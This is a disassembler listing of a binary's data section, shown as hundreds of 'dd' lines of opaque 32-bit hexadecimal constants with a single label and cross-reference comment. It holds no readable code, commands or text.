dd 1AF0859h, 0D3D64FE9h, 0C23CE026h, 0B4009541h, 605755FBh
dd 6A030C7Eh, 0B953C61h, 585A7E6Ah, 59BF4FA0h, 54CD384Fh
dd 42842E94h, 38E90564h, 78BBFA40h, 0B7444050h, 923FA259h
dd 0A6402835h, 0C90D5FF8h, 5423849h, 1802585h, 0D353EA88h
dd 71D2DAFAh, 7CBC3C5Ah, 3224A1B5h, 0A309D696h, 1E28056Dh
dd 2AB1F471h, 0DB90DDB6h, 12D210F6h, 3A20F702h, 0EF73C016h
dd 27F71F1Ch, 387A413Eh, 2EE5BAE9h, 0ADEBFE91h, 0EBD2AF29h
dd 502D15CAh, 5FC94DD6h, 65A32846h, 8A172B8h, 25E9503Ah
dd 0A4A7CEDBh, 0E1924E1Ah, 44707F59h, 4CB32DEAh, 1048B146h
dd 13EEC71Ah, 0A53C3BFEh, 0EA16BBEAh, 0D8CBA03Dh, 2E7ADF05h
dd 7426CB5h, 8B340760h, 2427B470h, 0E295C822h, 0A5BC993Bh
dd 5025B2DCh, 62F69F5Eh, 8250C1DAh, 80C8B700h, 9D5FCF39h
dd 0C797FAE7h, 0AE79B404h, 35C85B09h, 0AFA8B46Dh, 0D12C580Eh
dd 9A2AA964h, 8F685B09h, 60467E31h, 6E2C01Dh, 466807C2h
dd 0B356A027h, 9E380EEh, 0EB76E92Eh, 28A55720h, 0F7353854h
dd 75EC05DBh, 951D6509h, 47E7C706h, 0A5E4F99Dh, 0A80475FBh
dd 80F80114h, 4622BB8Bh, 0FA61F8B6h, 49B324Ch, 35B37378h
dd 1069C180h, 35484CE4h, 0A8D9B574h, 1497393h, 77534ABEh
dd 93E5FF08h, 0A576AD5Bh, 0ADBF8CEAh, 78ADD941h, 4D5930A2h
dd 55021A57h, 3E81FD61h, 0B9DD8FD3h, 3981FD21h, 50AF1CC5h
dd 4F4B2CAAh, 6AA2B974h, 9935F993h, 0DC7A50BEh, 72905C4Dh
dd 4C152A26h, 0E456DD40h, 91AAC039h, 5374953h, 7A484E09h
dd 2D408541h, 3ABF0713h, 0BDE90D10h, 0A02B1043h, 5761C18Bh
dd 8D5CD1A0h, 5A2FE9D4h, 512E8DA9h, 50D6923Bh, 37DEF680h
dd 0F07CE13Dh, 6805CABCh, 0FC465C7Dh, 1E0A35DCh, 0C05E5C1h
dd 9107A7Bh, 165AD533h, 0E3B8D906h, 0B73753Eh, 0E4C35578h
dd 5B57DEA5h, 0A4965589h, 104D0556h, 9A7A0175h, 2F250304h
dd 787B7F45h, 97570E00h, 0B529BFF6h, 7E8CD379h, 0B55622E8h
dd 5D524174h, 8A82EB4Eh, 0A718C775h, 22E3B556h, 5D4D2CE1h
dd 44920E9Ah, 0BF4B4F24h, 54802FC4h, 0C0F20763h, 1868E768h
dd 0CC019BBh, 3EEB4404h, 503B32E9h, 9BC35946h, 6FE220F7h
dd 6EB06A93h, 0EC5AA740h
dd 0EB11609Bh, 2A4CE8EAh, 70272F7Bh, 0F021C420h, 243B4F99h
dd 15CEAF01h, 0ED68C065h, 0B2E9164Dh, 2F5880E3h, 0C98AE21Fh
dd 0AC067F94h, 0EF057996h, 32EC4FAEh, 0CF2500FAh, 20906856h
dd 0DB4E1CC1h, 0DB2082EEh, 0E1C94AE9h, 0C9F62B96h, 2A28532Ch
dd 1ADE95B8h, 0CE16C2h, 0F52348B9h, 0D0144D65h, 5E09165Eh
dd 0AD00D37Dh, 71DE4DE2h, 2FD97CC9h, 0D7DDB0Ah, 0DC48F31Ah
dd 800748B1h, 0CB3003F1h, 0B142C1D5h, 4C1CD368h, 66554C0Dh
dd 94A0AF2Dh, 3F77A8DBh, 2D656095h, 0C9E6BDA9h, 0D25747Ah
dd 78749E60h, 4B079E5Eh, 444BBC4Ch, 0F9B73861h, 25A6632Eh
dd 0F781A71Dh, 63163F85h, 0C62D2ED1h, 0EA51DDFCh, 1D1302DCh
dd 0D0E3E90Ch, 7D688AEAh, 8080ED65h, 58E424C3h, 1AB75CC2h
dd 97E0775Dh, 0F725E9C2h, 3C26F9E2h, 21537416h, 6B06B296h
dd 2F59573Ch, 0F8669A68h, 2E7CBB01h, 3FE912D3h, 33021BAFh
dd 0E45F06EDh, 0C7BA04C7h, 80167562h, 790964C6h, 360CFB60h
dd 5522F0Eh, 1A24612Dh, 88E09176h, 0C8AA04DCh, 6C2568FCh
dd 491AD12Fh, 0DC1CEEC8h, 0EE6233BAh, 0FDF5D6h, 706C8FB8h
dd 0D7356601h, 2D40AD3Eh, 5AC0D8D8h, 5F0EECC4h, 41EB42F4h
dd 0D9A82D4h, 559F704Dh, 0E12483D0h, 51F1B07h, 2197C9C1h
dd 0C8432BFh, 87FC75F1h, 41FA5093h, 0CC23A06h, 41BF2907h
dd 9DA58C2Bh, 0C3C553DCh, 0B2C0994Dh, 50060683h, 7AF226B4h
dd 535FE558h, 2260D999h, 0A9085A4Fh, 10749430h, 0B902E0EAh
dd 0D831FF4h, 5E979F78h, 4D72801Ah, 0B0E938D5h, 0F5D7714Fh
dd 77804272h, 0D98482A9h, 85B7AAC2h, 65DD0769h, 9FE90419h
dd 9110887Dh, 7C9F2C70h, 5DD4FA84h, 0B0BD5560h, 6C0C2C7Ch
dd 0CD81814Ch, 40644058h, 11D049Fh, 0E8DDEE9Fh, 0E66BCB0Bh
dd 6020408Bh, 1E4CF381h, 39E8FA4Ah, 2D267C03h, 6193E933h
dd 5FFBE707h, 6A4DA89h, 0E1C07791h, 30601DBh, 0B353D1F6h
dd 16B520A0h, 0F70F3E6h, 885BD917h, 3410A7FCh, 0DE844EF7h
dd 0E4FEF2FAh, 9B1C75A8h, 0BA5F2D19h, 27C1E5A0h, 60E89A5Fh
dd 5A37430Ch, 0FCFD40Fh, 8AC75D08h, 50920AACh, 5680AFFDh
dd 2A5E7858h, 0BB82DA5Fh, 7A892DE7h, 0DFBE0E03h, 6750DA27h
dd 2CE984CEh, 5BA81682h, 7519028h, 312002EFh, 3ED8B22Bh
dd 54904748h, 0B20E9731h, 36D9C6A8h, 0E2CF812Eh, 407B0750h
dd 92DEBF3h, 292E8E3Bh, 8046942h, 2CE4EF5Ah, 0D2224B47h
dd 23DF376Dh, 1643F14Dh, 0F824A19Fh, 15D88122h, 0A56F1A4Eh
dd 2051CC4Dh, 6CB5695Fh, 0B7046CECh, 68120AE4h, 6F33215Fh
dd 1D9EC955h, 0E6C06F38h, 520C7532h, 2DB76A92h, 0FE6CF61Ch
dd 0EB893D78h, 0A9124BBDh, 0CB30F3F9h, 0F0B5EA73h, 0A64F309Ch
dd 44B0CE2Dh, 5527F92Dh, 0E5E66598h, 405D7912h, 76A3F90Bh
dd 0BA25C527h, 485CD709h, 0C7FC4128h, 7469B63Ah, 7EE1B9h
dd 385F05F3h, 58DDC197h, 9DF6B320h, 5B8E27F1h, 0FC2F3C01h
dd 0CA2258E5h, 18D14380h, 0EADBF7EBh, 3BE14276h, 81B051A8h
dd 31261AC7h, 0E70DB4F5h, 0C341192Dh, 7206B1A2h, 685FF909h
dd 8B57FEA1h, 9FAF4BF6h, 0CDD3CBC9h, 2C3EE33Ch, 0C1632506h
dd 9CF655DAh, 47D7764Bh, 40E0EF75h, 38C0B75Fh, 8C1158F2h
dd 2939CE3Eh, 4E4C2D83h, 67585950h, 68C72ED8h, 6B79C2A0h
dd 0C5F66DEEh, 58912BF5h, 0C259848Dh, 0D00E8941h, 4DA4C510h
dd 6FA060B8h, 7A1D769Fh, 3A70162h, 0FA6E84AFh, 3A9E17Bh
dd 81EFB744h, 0E44FA498h, 0D64FF72Fh, 4C0C56B4h, 3C58895Fh
dd 957ED305h, 1006AC49h, 5201A82Dh, 8472C068h, 3C466B47h
dd 4C3FAF4h, 0D20283C7h, 1918C159h, 5BFA06DCh, 0D66DB289h
dd 0D05D19BAh, 4FF578E7h, 0FEB184B8h, 806064C6h, 2C3BF0EAh
dd 4273CB7h, 32B4E97Dh, 0B23E4BEFh, 895D0BC2h, 4506F5A8h
dd 4FB254BFh, 1970E919h, 0DDDDE823h, 927E768h, 51653B79h
dd 19459401h, 0C33E767Bh, 5A4F315Ch, 0D0ED499Dh, 0E59AE83Eh
dd 0D9538685h, 0ED1FA105h, 1EE6D9BCh, 5FE23A59h, 0BE96D1E2h
dd 0F362EC21h, 0A9331605h, 0BFFC0EB5h, 86B0529Dh, 296D2668h
dd 0F2006927h, 13BF7387h, 1A07E91Ch, 0F7614A38h, 1CE16866h
dd 28D52D2h, 0E99BB050h, 5BD9EA77h, 68DB6809h, 82073508h
dd 0D03EE0D5h, 0B751F0Fh, 0C427524Eh, 0E449C9B7h, 77C05779h
dd 0B9512077h, 362C0A86h, 12914942h, 3E448979h, 0F5813C00h
dd 2DC30982h, 0A1833132h, 73768036h, 83531E67h, 0B3345FEBh
dd 80275E9Fh, 0FDB151A7h, 0E916C9FEh, 0A3203D95h, 3BE315BCh
dd 0CA682957h, 60732508h, 0F360F22Fh, 0AF62126Eh, 0FC2A38CFh
dd 0BB215BD1h, 0AE378E12h, 48040961h, 60046F68h, 0BC715A2Fh
dd 8EE28D7h, 505A53F4h, 188892B0h, 0F4133335h, 1808A48h
dd 0F86C9FD3h, 0A4841A4Ah, 5C537CAEh, 4A3CE918h, 0C8FA8812h
dd 5124A154h, 53D7D81Fh, 0E4BFB540h, 18446664h, 0B2EFC147h
dd 46F24AF7h, 40EF57ECh, 6A7FD288h, 0D85D0A28h, 3C5F0781h
dd 0CA8B5F8Dh, 42D84A77h, 5F8EE934h, 0EF68100h, 0C42650F2h
dd 0B1EEC4F3h, 5C450CF1h, 44B1DCBh, 0ABED8F6Dh, 0BE41C15Eh
dd 0FE679DA1h, 0B82D897Eh, 0C5F1211Bh, 0E3EE234Ah, 9DF0E31h
dd 36AF1701h, 0A10B0C2Ah, 62F6D266h, 17317DEEh, 9E24C005h
dd 521E5660h, 97CAEBE9h, 0AD139D4h, 0BA5A8564h, 0BE741D3Ch
dd 3BE38172h, 3073A20Dh, 80E01730h, 0D2C4015Ah, 877382AAh
dd 0C4168108h, 4005D9D2h, 5BF761B0h, 80675DDFh, 6A3DDCCBh
dd 0B7BBFB01h, 0D0B32914h, 68F00909h, 0E90FE0BDh, 6C6F5D91h
dd 0CC0ABC16h, 0FE34B708h, 0A804CBh, 4D3F618h, 0E554DCE9h
dd 120DEBB2h, 0C584D5Ah, 384C0881h, 81D330E9h, 13FCBB22h
dd 0BC8018E0h, 780E0DB1h, 584F42E9h, 48046EE2h, 0AF14C422h
dd 5626ACCFh, 72F0015h, 25BE35AAh, 705B497Ah, 964E2EF4h
dd 0B5542753h, 12E648EEh, 41535E56h, 5851FA7Fh, 0E1064435h
dd 36F1EBE2h, 89962459h, 2D4050Bh, 3A7A0209h, 0E19ADF6Ch
dd 375163D0h, 0D8B4C0D9h, 0D8E1202Dh, 4B4C20FDh, 1CE6883Ch
dd 923DB753h, 59A3129Ch, 3C3C6F10h, 5AD7925Bh, 0DBACAC17h
dd 69221301h, 40C72948h, 3161E7AAh, 79498D58h, 2F06D909h
dword_4F0044 dd 5E520BEFh, 0AF0CB57Eh, 69E98A42h, 30F177CEh, 0A978A94Fh
; DATA XREF: ___:00437A2Co
dd 20D37A1Ah, 4E099E7Bh, 711FDA68h, 0B385BC35h, 8B76581Eh
dd 0D8F700D6h, 87A55E35h, 0A0507E88h, 2430D788h, 16282D54h
dd 0D364E9B7h, 81A664BBh, 0C2993D37h, 5843797Fh, 5D5A6C68h
dd 0E9E056BCh, 47B47955h, 18C8FA49h, 23444D68h, 5280BC91h
dd 720914BAh, 6918F741h, 0C2CF83FFh, 0A5D35724h, 7104E71Fh
dd 0AB804A77h, 4BF17585h, 0DB62776Eh, 28ECE280h, 0E93AE3C7h
dd 0CDBC4E54h, 9C4B5694h, 450315DEh, 83E97789h, 0EC2C5FCFh
dd 60049A8Eh, 0B343A20h, 15E9CE1Ah, 785F1562h, 5A26B6A8h
dd 2F0CF3D5h, 68481C60h, 0D97E4A25h, 98D0A003h, 0E90BC2A5h
dd 2F8DC1E6h, 0BD1DFCEh, 133D7056h, 8BA9DC5Fh, 7A9B91A4h
dd 9F337BCAh, 0CDC1D3D9h, 4ED7DA4h, 2939BA68h, 38A81C2h
dd 1BB3BBFEh, 0E17D8AC5h, 1A40C182h, 173A8FFDh, 71C68939h
dd 0A4E9F0A9h, 0F581D4EAh, 3CA326BBh, 1E580C83h, 0AAF536B0h
dd 5F7580F6h, 8EEEB2A7h, 0CEBA72C5h, 936809FEh, 0A6FA5950h
dd 15174A09h, 35018CA5h, 430A1BA3h, 7225CC05h, 376E046Fh
dd 68C28AB8h, 0A94C0BC7h, 0B7E9530Ch, 3CC1155Ah, 5D8A3158h
dd 2F91CB21h, 0D2412442h, 10643BEAh, 0E86EDEB5h, 16F5A605h
dd 0E9516858h, 0F3FB1056h, 0DC03F05Ah, 0EC01102Dh, 0BB6817BBh
dd 0A561EA2Dh, 0FC5823A9h, 57B05168h, 1619D4A6h, 1249CE45h
dd 26849DE9h, 5A4928AAh, 0B301BB90h, 0C175F757h, 7F7008EAh
dd 98AA7748h, 9CFD78C3h, 318C4D82h, 3EE94DE1h, 1825C58Bh
dd 0B105137Ch, 6FE0827h, 0F9341FE7h, 446F358h, 22327E3Bh
dd 0F08F3581h, 42D2F700h, 335B47F0h, 8E039041h, 0B47E67C2h
dd 6F60FC4Fh, 523C61Dh, 28707653h, 81EB3DE6h, 0DF35EDDBh
dd 6934A77Eh, 61AD468h, 15708668h, 40677138h, 8C5C5BA9h
dd 2954224Dh, 80160592h, 0ABEF753h, 27072DE4h, 9CC27BF9h
dd 40999A02h, 5D4204h, 0BB530A20h, 798D5F85h, 0D60BAD98h
dd 5719AF74h, 21EB2DA0h, 375F3E5Ah, 18931FB1h, 8A580203h
dd 0B480CA3Fh, 0C867BAE9h, 60C4361h, 0F330CD62h, 308D70C9h
dd 6718482Fh, 6D4FD98Bh, 0C4AB97C4h, 65A11240h, 159B8093h
dd 34EBE39h, 0E91F85BCh, 0F792AFC7h, 0BBE58563h, 0FF34DF75h
dd 445CAE62h, 25CA9848h, 1B4E2961h, 0B2565897h, 0BFC1E6DAh
dd 0D9BFE36Ch, 50415AD8h, 1EB9004Ah, 8AA3D19h, 0B5C83B2Fh
dd 39F883EEh, 0C6010E1Eh, 2F085139h, 64ACE860h, 22746BBDh
dd 3ED6777Ah, 0D15B83F3h, 35DFE98Fh, 4B6920A8h, 303AAE16h
dd 1F321DA1h, 2267F707h, 0EC44851Bh, 1101CC78h, 0C9775DE9h
dd 61C2034Ah, 89DAFC48h, 63DE71D5h, 46F95B59h, 34387E16h
dd 209F02B4h, 0C78058E7h, 7AFEA4C1h, 0FD3B1B29h, 0C6099336h
dd 834CDFF8h, 97E1F63Eh, 0ACB31BD8h, 12EDF702h, 54D61A0Bh
dd 5F545741h, 7226C6Ah, 5497CC70h, 987D727Ah, 0B5C331EBh
dd 20BE0222h, 2817B300h, 0ADFCC5D8h, 9CD0FC1Dh, 7E3EB082h
dd 9D1A5D59h, 69AA8C8Bh, 0BAAAA874h, 38B2C78h, 1D6D1098h
dd 9E6F0F68h, 20E0AE19h, 5D4C7B4Fh, 9F791C46h, 6806512Dh
dd 0A71A743h, 0F90C1726h, 0CBB0E6Eh, 0BF01BB0h, 471A1E24h
dd 41AB530Ch, 385FF0Bh, 0F9C57FE9h, 192D0013h, 573AE4Eh
dd 4A631267h, 5864B34Ch, 9C1A1003h, 0DDF18101h, 0ECCFAC69h
dd 0EDCE4C10h, 0DCF95201h, 491DC99Fh, 79AC5051h, 5B72E949h
dd 82B1A37Fh, 0DD188468h, 5D9233E7h, 0F8F4A0BCh, 0C326D8EFh
dd 0A6714B8h, 890EA2Ch, 738F0A58h, 5025383Ch, 7D7207D6h
dd 68E82A66h, 7195FF77h, 0BFD7E292h, 9F7E7357h, 0B67165BDh
dd 0C9304A8Bh, 92C11CA9h, 0B953346Fh, 151858E5h, 0C38C521Eh
dd 8939BE56h, 847F29CDh, 86CC12DDh, 22E10ABh, 5813A952h
dd 2548F0h, 1A837EF1h, 2670E10Dh, 0AE353202h, 0FD763042h
dd 0A47CADE1h, 0C13018ADh, 7EFCBEh, 0EBBB66F4h, 31C05770h
dd 994A689Fh, 733F0B7Ch, 0C37805E9h, 48D0B432h, 0F05A068Eh
dd 2FF55A97h, 0B9CD5E54h, 0CC856C13h, 7FAF39EFh, 6E4DB338h
dd 85C65DE4h, 0D9805762h, 0F32E10C2h, 425A0F4Ah, 0E90F01AEh
dd 42A5C0EAh, 0C3EC8057h, 5077D5FCh, 6E4CAADh, 125B037h
dd 88194D9h, 0E770705Bh, 5EC03803h, 22D8F740h, 26EC5D82h
dd 0B131FB1Eh, 54742CC9h, 2B7EAD85h, 8640A081h, 76B90130h
dd 480249DDh, 5E372F03h, 4454D9E0h, 0C0CDD9B7h, 77118DEBh
dd 88013D2Fh, 7C2D084Eh, 94515AABh, 0F35F090Eh, 5FEEAAC8h
dd 21EBF748h, 0BE760FD2h, 0AFECA6BFh, 0C8626EF3h, 0F2E6DDE4h
dd 8BBCEC4Fh, 7A3126D4h, 0E151E3CBh, 11163AA2h, 0CB3BC1FEh
dd 8014C219h, 0A85F071Fh, 27685B27h, 97196A40h, 4657C2D6h
dd 968F665Bh, 27CBC116h, 0E8EB8754h, 0A22D539Fh, 0D4E020F8h
dd 0C317B61Ch, 37A8E375h, 0CC004BFCh, 0F4D7C480h, 247F62E0h
dd 7941F75Bh, 8823D245h, 0E304DFFCh, 2813EECBh, 0B11101C3h
dd 8CC1800Ch, 0BE0BEB3Ah, 82E60681h, 0C48393Ch, 5302E71Ch
dd 5C0293A4h, 7D72CF1Bh, 120579E3h, 0A1A4EB16h, 41C1FF0Fh
dd 0F3292623h, 823E1F60h, 5BDA2240h, 68E3989Fh, 6E1A55DEh
dd 0B1C160h, 8111FF7Dh, 5A1E7CC5h, 453B6C58h, 3BAC6AE2h
dd 0CC7702F2h, 0D2E64FD3h, 8F40EA0Ah, 120E102Bh, 0A0BB5316h
dd 0E934291Fh, 0E225D5Fh, 59386F09h, 9314555h, 87DAA790h
dd 3D426A58h, 0CBD5927Bh, 12F1E8F0h, 0A02A9D33h, 11D57ABh
dd 5EF34F79h, 0BD2474C1h, 0BCC081C4h, 1031154Ch, 0AACBDF01h
dd 1623D20Ah, 1DD618E0h, 0E00557ADh, 738CE90Eh, 8EC5E7ECh
dd 349F4CEh, 50D2F71Eh, 0BDC4DAFEh, 24C3F7FFh, 0C170C5C3h
dd 680F9E3h, 0D3685207h, 465BC526h, 7D692500h, 5810375h
dd 0DB488AE5h, 21CF0033h, 2964E3CFh, 0C2EF6097h, 5BF00956h
dd 23FD3195h, 844DBFFAh, 0CB36F2FBh, 0DF2255FEh, 2905BC88h
dd 96CD1DABh, 33DD44D0h, 0DA30EB43h, 4E785FC3h, 6DB93Ah
dd 644842AAh, 9F62CAE9h, 0C9BD5A14h, 7CEA6BD7h, 305C42EAh
dd 68598EC0h, 0F4A828F2h, 5081F015h, 0C54156ECh, 0A489F617h
dd 2B1DE610h, 0EA806D5Bh, 13C95590h, 14872F5Eh, 3158595Eh
dd 0BF74D611h, 48C361D0h, 0B96E4B23h, 380841BAh, 788DB25Bh
dd 3CB33B3Dh, 71E0BEA7h, 0E7BF5954h, 0CF7EAFF6h, 0A0526850h
dd 0D3C6B464h, 0C888EA42h, 0E9584AC2h, 6A790433h, 0E94F09F2h
dd 3FF7A1D3h, 0E9F169BCh, 0A03F7B6h, 0B252505Ch, 0C3E8FB4h
dd 0E5D742D4h, 8079B004h, 0F642EF1Eh, 82C7FEC9h, 0D61DA7BCh
dd 12E148ECh, 67BED5h, 0C4FC23A2h, 52661E62h, 17F66DBDh
dd 5F5108A0h, 0D3B06F83h, 4C7B505h, 0BB95193Fh, 8360C8F7h
dd 0F259C0C2h, 54570784h, 87889F90h, 290248E2h, 1E965FEh
dd 86395ECBh, 168706D6h, 7F1E52BDh, 80B75081h, 6D80C87Bh
dd 3E116806h, 0CC5F2079h, 0DDDF3127h, 0E92FB99Ch, 0D0CF89B0h
dd 2E0F20BFh, 92E0585Ah, 84061BA6h, 0C4FCA20Eh, 0AAEE94C0h
dd 0C23EF92Dh, 4B4AFADBh, 359ADF36h, 0E9892EB9h, 559442F2h
dd 895F9409h, 673B909Bh, 0A095DF7Ah, 0CE3E3D3Fh, 0E812A186h
dd 7E2A7E46h, 62017D83h, 0F7AA4455h, 0EA91A0F5h, 97C965E9h
dd 681545Ch, 5A6E9871h, 0C94EA22Ah, 54BEC132h, 9CE4B238h
dd 0F45CA6D3h, 0DA09DE10h, 0A7F7DB95h, 4E62DE76h, 14550BBAh
dd 4C08FC9Dh, 0CBB126B2h
dd 0BDD87B59h, 56CD4093h, 440BE38h, 0DEF7683Bh, 67D3A4EEh
dd 14045F01h, 555EF101h, 3AD45281h, 28D17AA8h, 1D7B042Dh
dd 728072C0h, 4E664B8Ah, 37038124h, 79FD05F7h, 8AECCF13h
dd 202A5581h, 81E7B5B7h, 0FBF4C121h, 0EA966E36h, 0B573BC2Fh
dd 4E64183h, 1393C531h, 0F036C1EDh, 0A3E005EFh, 0ABEB0B80h
dd 74E6DA88h, 40F26813h, 9FB55830h, 1E738E9h, 7E71CBCEh
dd 5339EF2Dh, 0EB9CB459h, 5FE63B12h, 25E8B073h, 0C2765450h
dd 3CCE7D72h, 0EB54DCB5h, 0D942EA5Eh, 53A90FF1h, 0CD9B6577h
dd 3B19604Ah, 2D276901h, 235312CFh, 0D285E47Bh, 0C587C040h
dd 0EB2C74C7h, 0C100BCD9h, 511C490Ch, 0AE42FE60h, 0B3530176h
dd 78F12A64h, 8B6AAC6Eh, 8D6D5D55h, 0F912FB2Ch, 0A6B14A43h
dd 8002C9C0h, 0F1CC5031h, 0D9F633C2h, 0D8E95710h, 0C98128EFh
dd 632742FEh, 6ABBE843h, 1A2165Fh, 5A81CAFAh, 589402F9h
dd 0F66F4509h, 19E13380h, 0BB9CC92Ch, 28FC5A13h, 7D9CB75Ah
dd 920B6E4Ah, 25AF5D59h, 0D7B8FD62h, 2F1EF8D5h, 0E36C58C5h
dd 0E6B07D20h, 0C6303CE1h, 77C752B7h, 0DBFA72D0h, 6AAF465Ch
dd 8784FFBEh, 7DB60021h, 0E1F2C380h, 0A95B43FAh, 0D0C35A66h
dd 97E242E9h, 0D689EE8h, 277197h, 0B5D6B753h, 3F2FE970h
dd 2CD071C3h, 9EDE09A5h, 80037330h, 24D8F548h, 0ED1C8EE5h
dd 0FFC5993Ch, 260010Ch, 507582F6h, 93E60471h, 0AA297077h
dd 0FC1FD1E0h, 90D87908h, 44050B5Fh, 7C833761h, 9878628h
dd 0C5DD6229h, 8DCD435Ch, 0DCC11D00h, 2DE57ED3h, 8A510007h
dd 7AC0053Dh, 7BB0623Ch, 0CA0747F9h, 79E90911h, 1E4194A7h
dd 0E9BD77E4h, 1364018Ah, 0D701736Dh, 8061C21h, 9F50B0Ch
dd 8C6816BCh, 8881170Eh, 8FEA8241h, 1421CC3Fh, 0F5B28BB5h
dd 7B0B4E97h, 98B910EFh, 75892D57h, 9F5A7FF0h, 0E43E0CB5h
dd 0EF2DCB1Fh, 0F3368072h, 0BBC593Ch, 471CE927h, 81BB967Fh
dd 42E2906h, 0AC8735B1h, 0EB688296h, 0EE794Bh, 12A5BD66h
dd 0E6756E9h, 0D0D75018h, 0E158C6F2h, 177E0172h, 0A170EB2Bh
dd 5E0841B4h, 0C620AEE7h, 3D3A92EFh, 0F3AE602Eh, 2076AFE8h
dd 6C517A03h, 8919E174h, 8070DC7Ah, 9BB9740h, 5E7D6D01h
dd 5AD3E85Dh, 0E1187368h, 0F1BCEC7Ah, 316A32CBh, 2A48404Ah
dd 435073D8h, 942C17B8h, 0C81F305Ch, 0D468A405h, 0B1E82218h
dd 0B03B989Eh, 593F34A5h, 1223C02Fh, 1116726Eh, 6491E889h
dd 8157D7A1h, 0D9344963h, 4312104h, 18A0F37Eh, 0F0816960h
dd 0EE01806Ah, 3E099890h, 7574621h, 0FE574880h, 7E18E931h
dd 0C205A669h, 813A21B0h, 9D628A77h, 0BEEAEB3Fh, 0A86E20E5h
dd 1BCD3649h, 0DB0704E0h, 88EF127Ch, 5216BFC3h, 9B16851Ch
dd 0ACDA29A9h, 0B53F46E8h, 21AFD612h, 0D52C04E8h, 240D1066h
dd 41167940h, 9BBD53Ch, 0AA74A7Dh, 6BDD8F57h, 0B9EA85C7h
dd 0CBEA47D5h, 83D25FC3h, 0C78449C5h, 0CA4FF02Ch, 65751740h
dd 0EDBDEF34h, 0BA08EF16h, 23728269h, 3B5EA4D7h, 11408B41h
dd 7B3C6F1Ah, 0B6D5FC76h, 402F45F0h, 0B9E281DDh, 6461C065h
dd 4B039B0Ch, 0F2F33089h, 0ED6A6A7Ch, 0A9113704h, 0A4347082h
dd 81FA5FF8h, 7F74FEAh, 7A1CD7EBh, 7E9C114h, 87D73583h
dd 0B7EC3BE1h, 0F77EE192h, 0EBE16F2Eh, 682BC041h, 54291E55h
dd 0CD5E8C62h, 400EF5BDh, 0C01D9357h, 6F3DB4E5h, 0C52B069h
dd 472728B2h, 0C67B1324h, 0F609AA5Bh, 71C6D75Bh, 58625EB7h
dd 0FDB2D2A4h, 134A8848h, 0E6A87596h, 444C9AE6h, 0E9E08734h
dd 29D62419h, 58AF5B0Bh, 0F2B510A7h, 1FA2741Dh, 0B875478Fh
dd 16D231D1h, 0E66EF568h, 0DFE9098Bh, 0DCC72B8h, 2C953A1Fh
dd 4EB4686Eh, 804F62BCh, 7988051Eh, 2914CB16h, 2E072310h
dd 0A369BA59h, 2A3DC03h, 287FC3DBh, 81627EA9h, 7692F270h
dd 82FD74A9h, 2E536ACAh, 821CDA31h, 0CD6B4008h, 898B57Bh
dd 0FE9A98E0h, 0B0D0F63Ch, 0C0FE0811h, 0BFF0582Ch, 9EE9EC0Fh
dd 13FD839Ah, 0FCBFDA19h, 5F59F82h, 0BBFEC3F8h, 0D106B923h
dd 0B603AC7Ah, 0F1EF80DBh, 0BAF08850h, 7BF74C64h, 0C032CE77h
dd 556530E6h, 0D3CE1DF1h, 0A418BBAh, 69723F68h, 0F83A18A5h
dd 0BC5F20E9h, 20C5A5Ch, 0AD6B3405h, 60CC5F1Ah, 0BE090FB4h
dd 0F565ABB7h, 89AE28A8h, 34D4312Bh, 0ED5AD10Ah, 4F5ECA00h
dd 0C020E91Ch, 1D6F2D6Fh, 50547C1h, 8CB911BDh, 0BA28B7E0h
dd 345C51B1h, 7F349806h, 4A692754h, 1AD64048h, 344CAC33h
dd 0E1D509FAh, 67E3D68h, 1AC1B865h, 0BD603361h, 0BF70178Bh
dd 0ED890071h, 4E752A6Eh, 60DF42BDh, 930103B0h, 531D16E6h
dd 0FA23176Bh, 4DE9002Ch, 5927F5B1h, 3EDC7AB0h, 0BDB38388h
dd 7255B092h, 97507C66h, 4FE24AF4h, 82BC74DCh, 49A76BA4h
dd 5AB6460h, 7268032Fh, 13F20262h, 420E2518h, 5A548777h
dd 0C9E92320h, 9FF5929Dh, 24BA79h, 24BAF112h, 573A2316h
dd 0ABE9D90Bh, 6F71DCB3h, 90B2FE24h, 2610CD5Ah, 7515FA25h
dd 3D885h, 0F46C06CDh, 4724E97Dh, 0E19B08DEh, 2A14A0A2h
dd 5E64E9Ah, 0CA78D824h, 1A304FC0h, 3A5F3h, 68553862h
dd 521C48CAh, 0DF61C29Fh, 70ADAB79h, 63D69FF5h, 288BA054h
dd 48711C23h, 3465D768h, 0A5E1A8ACh, 0F021100h, 90C176DFh
dd 81464BB2h, 302A8258h, 5E5EF031h, 0A218F5F5h, 3842028Fh
dd 0E108E957h, 5E589982h, 173D215Eh, 0C9D1DA23h, 0E605AE72h
dd 0FD1A63DBh, 0EEB5021Fh, 656166D6h, 975FE55Fh, 9A0D0522h
dd 0CE23FF29h, 524F6D5h, 0E3685142h, 0BD74410Dh, 0DAA16BD6h
dd 25FCE381h, 44096090h, 5F8CAC4Eh, 3C681752h, 8BDDF669h
dd 0C5F6FE5Ah, 6EBDA116h, 0FE9797F2h, 0A66B413Dh, 0B1CF1147h
dd 0D6ADE74Bh, 1363CDC8h, 0E2622559h, 0DCED0402h, 4281DE1Eh
dd 0BD326DB2h, 0F01C895Ah, 64260899h, 0CF16C803h, 8450EC49h
dd 64EBE462h, 0BC3FC4B8h, 712C13A5h, 0BACA04BBh, 150512FAh
dd 0B0EE46D6h, 902C6BDh, 1C87E83h, 85D1F5F2h, 0C1E807C5h
dd 4428BD02h, 0A3FF1B9Fh, 0A84CE64Fh, 0B95AE97Ch, 1A5F010Bh
dd 3B583E18h, 303CBFCh, 3CFCB02Dh, 4B83ECE4h, 76029CB2h
dd 4C0178C4h, 76E9A5Fh, 0ECB4E90Ch, 0C1098A8Ah, 308307E0h
dd 0BB84F29h, 0B35E1FE9h, 0E2F8C874h, 0B04F1F46h, 4505C75Eh
dd 89424A03h, 90C7C9BEh, 1317232h, 3E583116h, 0B47BD9D9h
dd 9F65A5D2h, 0D8EAFE29h, 0D4B52968h, 259FA062h, 0C2FBF719h
dd 0E22795A6h, 0A358D752h, 3B5A073Bh, 9C0072C3h, 0F619B151h
dd 0F0B353D9h, 63E92D52h, 0F95D9E42h, 7AD072A6h, 8AAA3E00h
dd 0D5895586h, 0E3974FE9h, 0D6F27B75h, 74305D41h, 5E7F1762h
dd 5030B837h, 0C26C3BEAh, 198588A8h, 0A405EBC0h, 30D8C1ABh
dd 98A4260Dh, 69F642C3h, 5F10D621h, 4C41A85Fh, 0BE802032h
dd 2B50866h, 0B02F133Eh, 0D253640h, 453314Bh, 0EEFEFD05h
dd 2EFAE8BCh, 0BA81A692h, 21064769h, 61F0D3F1h, 0A19C978Eh
